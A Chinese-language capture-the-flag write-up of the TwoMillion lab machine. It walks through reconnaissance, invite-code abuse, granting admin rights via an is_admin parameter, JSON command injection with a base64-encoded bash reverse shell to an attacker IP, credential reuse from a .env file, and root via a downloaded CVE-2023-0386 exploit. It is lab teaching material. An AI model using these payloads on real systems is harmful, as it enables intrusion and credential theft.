OverlayFS 内核漏洞 (CVE-2023-0386)
TwoMillion 信息搜集
nmap扫描一下
1 nmap -sV -v 10.10.11.221
扫描结果
1 2 3 4 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 3851/tcp filtered spectraport
访问下80端口发现跳转到2million.htb
,添加下/etc/hosts
然后发现存在登录界面
我们扫一下目录
我们依次去访问看看
/api和/api/v1路由均不可访问
/register路由可以注册用户,不过需要Invite code
且不可输入
主页的join功能可以访问/invite路由,并且存在js源码
访问复制下来然后调整一下 代码美化
注意勾上打包器(packers)和混淆器(obfuscators)的功能
成功得到源码(也可以将该函数丢到控制台执行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function verifyInviteCode(code) { var formData = { "code": code }; $.ajax({ type: "POST", dataType: "json", data: formData, url: '/api/v1/invite/verify', success: function(response) { console.log(response) }, error: function(response) { console.log(response) } }) } function makeInviteCode() { $.ajax({ type: "POST", dataType: "json", url: '/api/v1/invite/how/to/generate', success: function(response) { console.log(response) }, error: function(response) { console.log(response) } }) }
两个路由分别是用来验证邀请码和生成邀请码
我们先用curl命令发送下POST请求
1 curl -X POST http://2million.htb/api/v1/invite/how/to/generate
得到回显,提示要ROT13解密
1 2 3 4 5 6 7 8 9 { "0": 200, "success": 1, "data": { "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr", "enctype": "ROT13" }, "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." }
找一个ROT13在线解码,得到信息要去/api/v1/invite/generate
发送POST请求即可得到邀请码
发送POST请求,得到邀请码
1 2 3 4 5 6 7 8 { "0": 200, "success": 1, "data": { "code": "QldKWDMtSDlQMVAtT1k0NVQtWks5V0I=", "format": "encoded" } }
这里很明显是base64加密的,解码即可
bp抓包添加上邀请码
出现302说明注册成功,我们直接登录
当我们再次访问之前的/api/v1
我们注意到/api/v1/admin/settings/update
路由,用PUT请求可以更新user的设置
bp抓包试试,回显Invalid content type
,应该是要添加Content-Type解析json数据
添加Content-Type头之后提示缺少email参数。由于路由是admin的,大概率是要admin的email
我们继续查看/api/v1/admin/vpn/generate
路由,POST请求发现回显Unauthorized
,我们只能回到刚刚的update路由下再看看,我们添加上email参数值为我们注册的邮箱,回显如下
得到信息is_admin
参数应该是用来判断是否为admin用户,我们添加上并改为1后发包
1 2 3 4 { "email":"test@qq.com", "is_admin":1 }
然后再次访问/api/v1/admin/vpn/generate
,回显缺少username参数
添加上成功回显
这里参考wp说是存在命令注入漏洞,通过sleep函数检测
1 2 3 { "username":"test;sleep 2" }
payload如下
1 2 3 { "username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Ny8xMDI4IDA+JjE=|base64 -d|bash" }
成功反弹shell
我们不妨看看源码是如何注入的,查看下/controllers/VPNController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public function admin_vpn ($router ) { if (!isset ($_SESSION ['loggedin' ]) || $_SESSION ['loggedin' ] !== true ) { return header ("HTTP/1.1 401 Unauthorized" ); exit ; } if (!isset ($_SESSION ['is_admin' ]) || $_SESSION ['is_admin' ] !== 1 ) { return header ("HTTP/1.1 401 Unauthorized" ); exit ; } if (!isset ($_SERVER ['CONTENT_TYPE' ]) || $_SERVER ['CONTENT_TYPE' ] !== 'application/json' ) { return json_encode ([ 'status' => 'danger' , 'message' => 'Invalid content type.' ]); exit ; } $body = file_get_contents ('php://input' ); $json = json_decode ($body ); if (!isset ($json )) { return json_encode ([ 'status' => 'danger' , 'message' => 'Missing parameter: username' ]); exit ; } if (!$json ->username) { return json_encode ([ 'status' => 'danger' , 'message' => 'Missing parameter: username' ]); exit ; } $username = $json ->username; $this ->regenerate_user_vpn ($router , $username ); $output = shell_exec ("/usr/bin/cat /var/www/html/VPN/user/$username .ovpn" ); return is_array ($output ) ? implode ("<br>" , $output ) : $output ; }
我们注意到$username
传递给regenerate_user_vpn
函数,并且只是要求username为json格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function regenerate_user_vpn ($router , $user = null ) { if ($user != null ) { exec ("/bin/bash /var/www/html/VPN/gen.sh $user " , $output , $return_var ); } else { if (!isset ($_SESSION ['loggedin' ]) || $_SESSION ['loggedin' ] !== true ) { return header ("HTTP/1.1 401 Unauthorized" ); exit ; } if (!isset ($_SESSION ['username' ]) || $_SESSION ['username' ] == null ) { return header ("HTTP/1.1 401 Unauthorized" ); exit ; } $username = $this ->remove_special_chars ($_SESSION ['username' ]); $fileName = $username . ".ovpn" ; exec ("/bin/bash /var/www/html/VPN/gen.sh $username " , $output , $return_var ); $this ->download_vpn ($fileName ); } }
那么在传递到regenerate_user_vpn
函数后很明显是可以命令拼接,利用;
来实现命令注入
拼接结果如下,执行id命令并注释掉后面代码
1 exec("/bin/bash /var/www/html/VPN/gen.sh test;id#", $output, $return_var);
回到题目,我们ls一下发现存在.env
文件,应该存在个人信息
得到admin用户的密码,那么我们直接连接本地数据库
1 mysql -u admin -p -h localhost
得到其他用户的个人信息
不过没什么用,因为我们可以直接ssh连接
1 2 ssh admin@10.10.11.221 SuperDuperPass123
连接上后,先在/home/admin/
拿到user的flag
然后参考wp说是有hint,在/var/mail/admin
经过搜索找到OverlayFS 内核漏洞 (CVE-2023-0386)
exp链接
我们先开启http服务,在靶机用wget命令复制到/tmp
目录下
1 2 wget http://10.10.14.57/exp.sh wget http://10.10.14.57/fuse.c
然后执行/bin/bash exp.sh
,成功提权(该目录还有其他师傅传的exp)